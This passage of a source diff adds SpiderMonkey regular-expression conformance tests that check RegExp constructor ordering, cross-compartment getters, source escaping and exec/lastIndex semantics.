+print(BUGNUMBER + ": " + summary);
+
+var g = newGlobal();
+
+var re = /foo/;
+assertEq(RegExp(re), re);
+re.constructor = 10;
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+// If pattern comes from different global, RegExp shouldn't return it.
+re = g.eval(`var re = /foo/; re;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+g.eval(`re.constructor = 10;`);
+assertEq(RegExp(re) === re, false);
+assertEq(RegExp(re).toString(), re.toString());
+
+
+re = new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re), re);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == "constructor") {
+ return function() {};
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+re = new Proxy(/a/, {
+ get(that, name) {
+ if (name == Symbol.match) {
+ return undefined;
+ }
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = new Proxy(g.eval(`/a/`), {
+ get(that, name) {
+ return that[name];
+ }
+});
+assertEq(RegExp(re) === re, false);
+
+re = g.eval(`new Proxy(/a/, {
+ get(that, name) {
+ return that[name];
+ }
+});`);
+assertEq(RegExp(re) === re, false);
+
+
+var obj = { [Symbol.match]: true, source: "foo", flags: "gi" };
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+obj = g.eval(`var obj = { [Symbol.match]: true, source: "foo", flags: "gi" }; obj;`);
+assertEq(RegExp(obj) === obj, false);
+assertEq(RegExp(obj).toString(), "/foo/gi");
+g.eval(`obj.constructor = RegExp`);
+assertEq(RegExp(obj) === obj, false);
+obj.constructor = RegExp;
+assertEq(RegExp(obj), obj);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-ordering-2.js b/js/src/tests/non262/RegExp/constructor-ordering-2.js
new file mode 100644
index 0000000000..21a6bbeca7
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-ordering-2.js
@@ -0,0 +1,21 @@
+// Make sure that we don't ToString the second argument until /after/ doing
+// the appropriate subclassing lookups
+
+var didLookup = false;
+
+var re = /a/;
+var flags = { toString() { assertEq(didLookup, true); return "g"; } };
+var newRe = Reflect.construct(RegExp, [re, flags],
+ Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ didLookup = true;
+ return RegExp.prototype;
+ }
+}));
+
+assertEq(Object.getPrototypeOf(newRe), RegExp.prototype);
+assertEq(didLookup, true);
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/RegExp/constructor-ordering.js b/js/src/tests/non262/RegExp/constructor-ordering.js
new file mode 100644
index 0000000000..3e3a9b695b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-ordering.js
@@ -0,0 +1,16 @@
+// Make sure that we don't misorder subclassing accesses with respect to
+// accessing regex arg internal slots
+//
+// Test credit André Bargull.
+
+var re = /a/;
+var newRe = Reflect.construct(RegExp, [re], Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ re.compile("b");
+ return RegExp.prototype;
+ }
+}));
+assertEq(newRe.source, "a");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/RegExp/constructor-regexp-unicode.js b/js/src/tests/non262/RegExp/constructor-regexp-unicode.js
new file mode 100644
index 0000000000..b348c34a01
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-regexp-unicode.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1274393;
+var summary = "RegExp constructor should check the pattern syntax again when adding unicode flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => RegExp(/\-/, "u"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-regexp.js b/js/src/tests/non262/RegExp/constructor-regexp.js
new file mode 100644
index 0000000000..419b027138
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-regexp.js
@@ -0,0 +1,61 @@
+var BUGNUMBER = 1130860;
+var summary = "RegExp constructor shouldn't invoke source/flags getters on argument RegExp instance.";
+
+print(BUGNUMBER + ": " + summary);
+
+// same-compartment
+var a = /foo/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(a, "source", { get: () => {
+ sourceCalled = true;
+ return "bar";
+}});
+Object.defineProperty(a, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+
+assertEq(a.source, "bar");
+assertEq(a.flags, "i");
+assertEq(sourceCalled, true);
+assertEq(flagsCalled, true);
+
+sourceCalled = false;
+flagsCalled = false;
+assertEq(new RegExp(a).source, "foo");
+assertEq(sourceCalled, false);
+assertEq(flagsCalled, false);
+
+// cross-compartment
+var g = newGlobal();
+var b = g.eval(`
+var b = /foo2/;
+var flagsCalled = false;
+var sourceCalled = false;
+Object.defineProperty(b, "source", { get: () => {
+ sourceCalled = true;
+ return "bar2";
+}});
+Object.defineProperty(b, "flags", { get: () => {
+ flagsCalled = true;
+ return "i";
+}});
+b;
+`);
+
+assertEq(b.source, "bar2");
+assertEq(b.flags, "i");
+assertEq(g.eval("sourceCalled;"), true);
+assertEq(g.eval("flagsCalled;"), true);
+
+g.eval(`
+sourceCalled = false;
+flagsCalled = false;
+`);
+assertEq(new RegExp(b).source, "foo2");
+assertEq(g.eval("sourceCalled;"), false);
+assertEq(g.eval("flagsCalled;"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/constructor-symbol.js b/js/src/tests/non262/RegExp/constructor-symbol.js
new file mode 100644
index 0000000000..503d7e5a85
--- /dev/null
+++ b/js/src/tests/non262/RegExp/constructor-symbol.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+for (let sym of [Symbol.iterator, Symbol(), Symbol("description")]) {
+ assertThrowsInstanceOf(() => RegExp(sym), TypeError);
+ assertThrowsInstanceOf(() => new RegExp(sym), TypeError);
+
+ assertThrowsInstanceOf(() => RegExp(sym, "g"), TypeError);
+ assertThrowsInstanceOf(() => new RegExp(sym, "g"), TypeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/control_characters.js b/js/src/tests/non262/RegExp/control_characters.js
new file mode 100644
index 0000000000..dcef462a9a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/control_characters.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: control_characters.js
+ Description: 'Tests regular expressions containing .'
+
+ Author: Nick Lerissa
+ Date: April 8, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: .';
+var BUGNUMBER="123802";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog('Executing script: control_characters.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'àOÐ ê:i¢Ø'.match(new RegExp('.+'))
+new TestCase ( "'àOÐ ê:i¢Ø'.match(new RegExp('.+'))",
+ String(['àOÐ ê:i¢Ø']), String('àOÐ ê:i¢Ø'.match(new RegExp('.+'))));
+
+// string1.match(new RegExp(string1))
+var string1 = 'àOÐ ê:i¢Ø';
+new TestCase ( "string1 = " + string1 + " string1.match(string1)",
+ String([string1]), String(string1.match(string1)));
+
+string1 = "";
+for (var i = 0; i < 32; i++)
+ string1 += String.fromCharCode(i);
+new TestCase ( "string1 = " + string1 + " string1.match(string1)",
+ String([string1]), String(string1.match(string1)));
+
+test();
diff --git a/js/src/tests/non262/RegExp/cross-compartment-getter.js b/js/src/tests/non262/RegExp/cross-compartment-getter.js
new file mode 100644
index 0000000000..c625c63177
--- /dev/null
+++ b/js/src/tests/non262/RegExp/cross-compartment-getter.js
@@ -0,0 +1,43 @@
+const otherGlobal = newGlobal({newCompartment: true});
+
+let regExp = otherGlobal.eval("/a(b|c)/iy");
+
+function get(name) {
+ const descriptor = Object.getOwnPropertyDescriptor(RegExp.prototype, name);
+ return descriptor.get.call(regExp);
+}
+
+assertEq(get("flags"), "iy");
+assertEq(get("global"), false);
+assertEq(get("ignoreCase"), true);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "a(b|c)");
+assertEq(get("sticky"), true);
+assertEq(get("unicode"), false);
+
+regExp = otherGlobal.eval("new RegExp('', 'gu')");
+
+assertEq(get("flags"), "gu");
+assertEq(get("global"), true);
+assertEq(get("ignoreCase"), false);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "(?:)");
+assertEq(get("sticky"), false);
+assertEq(get("unicode"), true);
+
+// Trigger escaping
+regExp = otherGlobal.eval("new RegExp('a/b', '')");
+
+assertEq(get("flags"), "");
+assertEq(get("global"), false);
+assertEq(get("ignoreCase"), false);
+assertEq(get("multiline"), false);
+assertEq(get("dotAll"), false);
+assertEq(get("source"), "a\\/b");
+assertEq(get("sticky"), false);
+assertEq(get("unicode"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/descriptor.js b/js/src/tests/non262/RegExp/descriptor.js
new file mode 100644
index 0000000000..cc545b3a6a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/descriptor.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode} - property descriptor";
+
+print(BUGNUMBER + ": " + summary);
+
+var getters = [
+ "flags",
+ "global",
+ "ignoreCase",
+ "multiline",
+ "source",
+ "sticky",
+ "unicode",
+];
+
+for (var name of getters) {
+ var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, name);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq("writable" in desc, false);
+ assertEq("get" in desc, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/empty-lookahead.js b/js/src/tests/non262/RegExp/empty-lookahead.js
new file mode 100644
index 0000000000..6e2f709e86
--- /dev/null
+++ b/js/src/tests/non262/RegExp/empty-lookahead.js
@@ -0,0 +1,8 @@
+//bug 473941
+var regexp;
+
+regexp = /(?=)/;
+assertEq(regexp.test('test'), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/escape.js b/js/src/tests/non262/RegExp/escape.js
new file mode 100644
index 0000000000..bb59b797d3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/escape.js
@@ -0,0 +1,70 @@
+var BUGNUMBER = 1130860;
+var summary = 'Slash and LineTerminator should be escaped correctly.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, source) {
+ assertEq(re.source, source);
+ assertEq(eval("/" + re.source + "/").source, source);
+ assertEq(re.toString(), "/" + source + "/");
+}
+
+test(/\\n/, "\\\\n");
+test(/\\\n/, "\\\\\\n");
+test(/\\\\n/, "\\\\\\\\n");
+test(RegExp("\\n"), "\\n");
+test(RegExp("\\\n"), "\\n");
+test(RegExp("\\\\n"), "\\\\n");
+
+test(/\\r/, "\\\\r");
+test(/\\\r/, "\\\\\\r");
+test(/\\\\r/, "\\\\\\\\r");
+test(RegExp("\\r"), "\\r");
+test(RegExp("\\\r"), "\\r");
+test(RegExp("\\\\r"), "\\\\r");
+
+test(/\\u2028/, "\\\\u2028");
+test(/\\\u2028/, "\\\\\\u2028");
+test(/\\\\u2028/, "\\\\\\\\u2028");
+test(RegExp("\\u2028"), "\\u2028");
+test(RegExp("\\\u2028"), "\\u2028");
+test(RegExp("\\\\u2028"), "\\\\u2028");
+
+test(/\\u2029/, "\\\\u2029");
+test(/\\\u2029/, "\\\\\\u2029");
+test(/\\\\u2029/, "\\\\\\\\u2029");
+test(RegExp("\\u2029"), "\\u2029");
+test(RegExp("\\\u2029"), "\\u2029");
+test(RegExp("\\\\u2029"), "\\\\u2029");
+
+test(/\//, "\\/");
+test(/\\\//, "\\\\\\/");
+test(RegExp("/"), "\\/");
+test(RegExp("\/"), "\\/");
+test(RegExp("\\/"), "\\/");
+test(RegExp("\\\/"), "\\/");
+test(RegExp("\\\\/"), "\\\\\\/");
+
+test(/[/]/, "[/]");
+test(/[\/]/, "[\\/]");
+test(/[\\/]/, "[\\\\/]");
+test(/[\\\/]/, "[\\\\\\/]");
+test(RegExp("[/]"), "[/]");
+test(RegExp("[\/]"), "[/]");
+test(RegExp("[\\/]"), "[\\/]");
+test(RegExp("[\\\/]"), "[\\/]");
+test(RegExp("[\\\\/]"), "[\\\\/]");
+
+test(RegExp("\[/\]"), "[/]");
+test(RegExp("\[\\/\]"), "[\\/]");
+
+test(/\[\/\]/, "\\[\\/\\]");
+test(/\[\\\/\]/, "\\[\\\\\\/\\]");
+test(RegExp("\\[/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\/\\]"), "\\[\\/\\]");
+test(RegExp("\\[\\\\/\\]"), "\\[\\\\\\/\\]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/everything.js b/js/src/tests/non262/RegExp/everything.js
new file mode 100644
index 0000000000..798eccc829
--- /dev/null
+++ b/js/src/tests/non262/RegExp/everything.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: everything.js
+ Description: 'Tests regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 24, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp';
+
+writeHeaderToLog('Executing script: everything.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'Sally and Fred are sure to come.'.match(/^[a-z\s]*/i)
+new TestCase ( "'Sally and Fred are sure to come'.match(/^[a-z\\s]*/i)",
+ String(["Sally and Fred are sure to come"]), String('Sally and Fred are sure to come'.match(/^[a-z\s]*/i)));
+
+// 'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))
+new TestCase ( "'test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))",
+ String(["test123W+xyz","xyz"]), String('test123W+xyz'.match(new RegExp('^[a-z]*[0-9]+[A-Z]?.(123|xyz)$'))));
+
+// 'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)
+new TestCase ( "'number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)",
+ String(["12365 number two 9898","12365","9898"]), String('number one 12365 number two 9898'.match(/(\d+)\D+(\d+)/)));
+
+var simpleSentence = /(\s?[^\!\?\.]+[\!\?\.])+/;
+// 'See Spot run.'.match(simpleSentence)
+new TestCase ( "'See Spot run.'.match(simpleSentence)",
+ String(["See Spot run.","See Spot run."]), String('See Spot run.'.match(simpleSentence)));
+
+// 'I like it. What's up? I said NO!'.match(simpleSentence)
+new TestCase ( "'I like it. What's up? I said NO!'.match(simpleSentence)",
+ String(["I like it. What's up? I said NO!",' I said NO!']), String('I like it. What\'s up? I said NO!'.match(simpleSentence)));
+
+// 'the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)
+new TestCase ( "'the quick brown fox jumped over the lazy dogs'.match(/((\\w+)\\s*)+/)",
+ String(['the quick brown fox jumped over the lazy dogs','dogs','dogs']),String('the quick brown fox jumped over the lazy dogs'.match(/((\w+)\s*)+/)));
+
+test();
diff --git a/js/src/tests/non262/RegExp/exec-002.js b/js/src/tests/non262/RegExp/exec-002.js
new file mode 100644
index 0000000000..d1293e81ec
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-002.js
@@ -0,0 +1,186 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/exec-002.js
+ * ECMA Section: 15.7.5.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Test cases provided by rogerl@netscape.com
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/exec-002";
+var TITLE = "RegExp.prototype.exec(string)";
+
+
+/*
+ * for each test case, verify:
+ * - type of object returned
+ * - length of the returned array
+ * - value of lastIndex
+ * - value of index
+ * - value of input
+ * - value of the array indices
+ */
+
+AddRegExpCases(
+ /(a|d|q|)x/i,
+ "bcaDxqy",
+ 3,
+ ["Dx", "D"] );
+
+AddRegExpCases(
+ /(a|(e|q))(x|y)/,
+ "bcaddxqy",
+ 6,
+ ["qy","q","q","y"] );
+
+
+AddRegExpCases(
+ /a+b+d/,
+ "aabbeeaabbs",
+ 0,
+ null );
+
+AddRegExpCases(
+ /a*b/,
+ "aaadaabaaa",
+ 4,
+ ["aab"] );
+
+AddRegExpCases(
+ /a*b/,
+ "dddb",
+ 3,
+ ["b"] );
+
+AddRegExpCases(
+ /a*b/,
+ "xxx",
+ 0,
+ null );
+
+AddRegExpCases(
+ /x\d\dy/,
+ "abcx45ysss235",
+ 3,
+ ["x45y"] );
+
+AddRegExpCases(
+ /[^abc]def[abc]+/,
+ "abxdefbb",
+ 2,
+ ["xdefbb"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "ccdaaabaxaabaa",
+ 9,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /(a*)baa/,
+ "aabaa",
+ 0,
+ ["aabaa", "aa"] );
+
+AddRegExpCases(
+ /q(a|b)*q/,
+ "xxqababqyy",
+ 2,
+ ["qababq", "b"] );
+
+AddRegExpCases(
+ /(a(.|[^d])c)*/,
+ "adcaxc",
+ 0,
+ ["adcaxc", "axc", "x"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "abaaaxaabaayy",
+ 0,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabaxaabaayy",
+ 6,
+ ["aba", "a"] );
+
+AddRegExpCases(
+ /(a*)b\1/,
+ "cccdaaabqxaabaayy",
+ 7,
+ ["b", ""] );
+
+AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ 'xx\"makudonarudo\"yy',
+ 2,
+ ["\"makudonarudo\"", "o"] );
+
+ AddRegExpCases(
+ /"(.|[^"\\\\])*"/,
+ "xx\"ma\"yy",
+ 2,
+ ["\"ma\"", "a"] );
+
+ test();
+
+ function AddRegExpCases(
+ regexp, pattern, index, matches_array ) {
+
+// prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ regexp + ".exec(" + pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ regexp + ".exec(" + pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ regexp + ".exec(" + pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+ }
diff --git a/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js b/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js
new file mode 100644
index 0000000000..4505362d83
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Geoffrey Sneddon <geoffers+mozilla@gmail.com>
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var re = /./, called = 0;
+re.lastIndex = {valueOf: function() { called++; return 0; }};
+re.exec(".");
+re.lastIndex = {toString: function() { called++; return "0"; }};
+re.exec(".");
+re.lastIndex = {
+ valueOf: function() { called++; return 0; },
+ toString: function() { called--; }
+};
+re.exec(".");
+assertEq(called, 3, "FAIL, got " + called);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/exec-lastIndex-negative.js b/js/src/tests/non262/RegExp/exec-lastIndex-negative.js
new file mode 100644
index 0000000000..18eb2ab9d9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec-lastIndex-negative.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1207922;
+var summary = "negative lastIndex should be treated as 0.";
+
+print(BUGNUMBER + ": " + summary);
+
+var pattern = /abc/gi;
+var string = 'AbcaBcabC';
+
+var indices = [
+ -1,
+ -Math.pow(2,32),
+ -(Math.pow(2,32) + 1),
+ -Math.pow(2,32) * 2,
+ -Math.pow(2,40),
+ -Number.MAX_VALUE,
+];
+for (var index of indices) {
+ pattern.lastIndex = index;
+ var result = pattern.exec(string);
+ assertEq(result.index, 0);
+ assertEq(result.length, 1);
+ assertEq(result[0], "Abc");
+ assertEq(pattern.lastIndex, 3);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/exec.js b/js/src/tests/non262/RegExp/exec.js
new file mode 100644
index 0000000000..4284b6e014
--- /dev/null
+++ b/js/src/tests/non262/RegExp/exec.js
@@ -0,0 +1,240 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 646490;
+var summary =
+ "RegExp.prototype.exec doesn't get the lastIndex and ToInteger() it for " +
+ "non-global regular expressions when it should";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+function checkExec(description, regex, args, obj)
+{
+ var lastIndex = obj.lastIndex;
+ var index = obj.index;
+ var input = obj.input;
+ var indexArray = obj.indexArray;
+
+ var res = regex.exec.apply(regex, args);
+
+ assertEq(Array.isArray(res), true, description + ": not an array");
+ assertEq(regex.lastIndex, lastIndex, description + ": wrong lastIndex");
+ assertEq(res.index, index, description + ": wrong index");
+ assertEq(res.input, input, description + ": wrong input");
+ assertEq(res.length, indexArray.length, description + ": wrong length");
+ for (var i = 0, sz = indexArray.length; i < sz; i++)
+ assertEq(res[i], indexArray[i], description + " " + i + ": wrong index value");
+}
+
+var exec = RegExp.prototype.exec;
+var r, res, called, obj;
+
+/* 1. Let R be this RegExp object. */
+expectThrowTypeError(function() { exec.call(null); });
+expectThrowTypeError(function() { exec.call(""); });
+expectThrowTypeError(function() { exec.call(5); });
+expectThrowTypeError(function() { exec.call({}); });
+expectThrowTypeError(function() { exec.call([]); });
+expectThrowTypeError(function() { exec.call(); });
+expectThrowTypeError(function() { exec.call(true); });
+expectThrowTypeError(function() { exec.call(Object.create(RegExp.prototype)); });
+expectThrowTypeError(function() { exec.call(Object.create(/a/)); });
+
+
+/* 2. Let S be the value of ToString(string). */
+called = false;
+r = /a/;
+assertEq(r.lastIndex, 0);
+
+checkExec("/a/", r, [{ toString: function() { called = true; return 'ba'; } }],
+ { lastIndex: 0,
+ index: 1,
+ input: "ba",
+ indexArray: ["a"] });
+assertEq(called, true);
+
+called = false;
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+
+called = false;
+obj = r.lastIndex = { valueOf: function() { assertEq(true, false, "shouldn't have been called"); } };
+try
+{
+ res = r.exec({ toString: null, valueOf: function() { assertEq(called, false); called = true; throw 17; } });
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e, 17);
+}
+
+assertEq(called, true);
+assertEq(r.lastIndex, obj);
+
+// We don't test lack of an argument because of RegExp statics non-standard
+// behaviors overriding what really should happen for lack of an argument, sigh.
+
+
+/*
+ * 3. Let length be the length of S.
+ * 4. Let lastIndex be the result of calling the [[Get]] internal method of R with argument "lastIndex".
+ * 5. Let i be the value of ToInteger(lastIndex).
+ */
+r = /b/;
+r.lastIndex = { valueOf: {}, toString: {} };
+expectThrowTypeError(function() { r.exec("foopy"); });
+r.lastIndex = { valueOf: function() { throw new TypeError(); } };
+expectThrowTypeError(function() { r.exec("foopy"); });
+
+
+/*
+ * 6. Let global be the result of calling the [[Get]] internal method of R with argument "global".
+ * 7. If global is false, then let i = 0.
+ */
+obj = { valueOf: function() { return 5; } };
+r = /abc/;
+r.lastIndex = obj;
+
+checkExec("/abc/ take one", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+checkExec("/abc/ take two", r, ["abc-------abc"],
+ { lastIndex: obj,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc"] });
+
+
+/*
+ * 8. Let matchSucceeded be false.
+ * 9. Repeat, while matchSucceeded is false
+ * a. If i < 0 or i > length, then
+ * i. Call the [[Put]] internal method of R with arguments "lastIndex", 0, and true.
+ * ii. Return null.
+ * b. Call the [[Match]] internal method of R with arguments S and i.
+ * c. If [[Match]] returned failure, then
+ * i. Let i = i+1.
+ * d. else
+ * i. Let r be the State result of the call to [[Match]].
+ * ii. Set matchSucceeded to true.
+ * e. Let i = i+1.
+ */
+r = /abc()?/;
+r.lastIndex = -5;
+checkExec("/abc()?/ with lastIndex -5", r, ["abc-------abc"],
+ { lastIndex: -5,
+ index: 0,
+ input: "abc-------abc",
+ indexArray: ["abc", undefined] });
+
+
+r = /abc/;
+r.lastIndex = -17;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, -17);
+
+r = /abc/g;
+r.lastIndex = -42;
+res = r.exec("cdefg");
+assertEq(res, null);
+assertEq(r.lastIndex, 0);
+
+
+/*
+ * 10. Let e be r's endIndex value.
+ * 11. If global is true,
+ * a. Call the [[Put]] internal method of R with arguments "lastIndex", e, and true.
+ */
+r = /abc/g;
+r.lastIndex = 17;
+assertEq(r.exec("sdfs"), null);
+assertEq(r.lastIndex, 0);
+
+r = /abc/g;
+r.lastIndex = 2;
+checkExec("/abc/g", r, ["00abc"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abc",
+ indexArray: ["abc"] });
+
+
+
+r = /a(b)c/g;
+r.lastIndex = 2;
+checkExec("/a(b)c/g take two", r, ["00abcd"],
+ { lastIndex: 5,
+ index: 2,
+ input: "00abcd",
+ indexArray: ["abc", "b"] });
+
+
+/*
+ * 12. Let n be the length of r's captures array. (This is the same value as
+ * 15.10.2.1's NCapturingParens.)
+ * 13. Let A be a new array created as if by the expression new Array() where
+ * Array is the standard built-in constructor with that name.
+ * 14. Let matchIndex be the position of the matched substring within the
+ * complete String S.
+ * 15. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "index", Property Descriptor {[[Value]]: matchIndex, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 16. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "input", Property Descriptor {[[Value]]: S, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 17. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * "length", Property Descriptor {[[Value]]: n + 1}, and true.
+ * 18. Let matchedSubstr be the matched substring (i.e. the portion of S
+ * between offset i inclusive and offset e exclusive).
+ * 19. Call the [[DefineOwnProperty]] internal method of A with arguments "0",
+ * Property Descriptor {[[Value]]: matchedSubstr, [[Writable]: true,
+ * [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 20. For each integer i such that I > 0 and I ≤ n
+ * a. Let captureI be i th element of r's captures array.
+ * b. Call the [[DefineOwnProperty]] internal method of A with arguments
+ * ToString(i), Property Descriptor {[[Value]]: captureI, [[Writable]:
+ * true, [[Enumerable]]: true, [[Configurable]]: true}, and true.
+ * 21. Return A.
+ */
+// throughout, above (and in other tests)
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
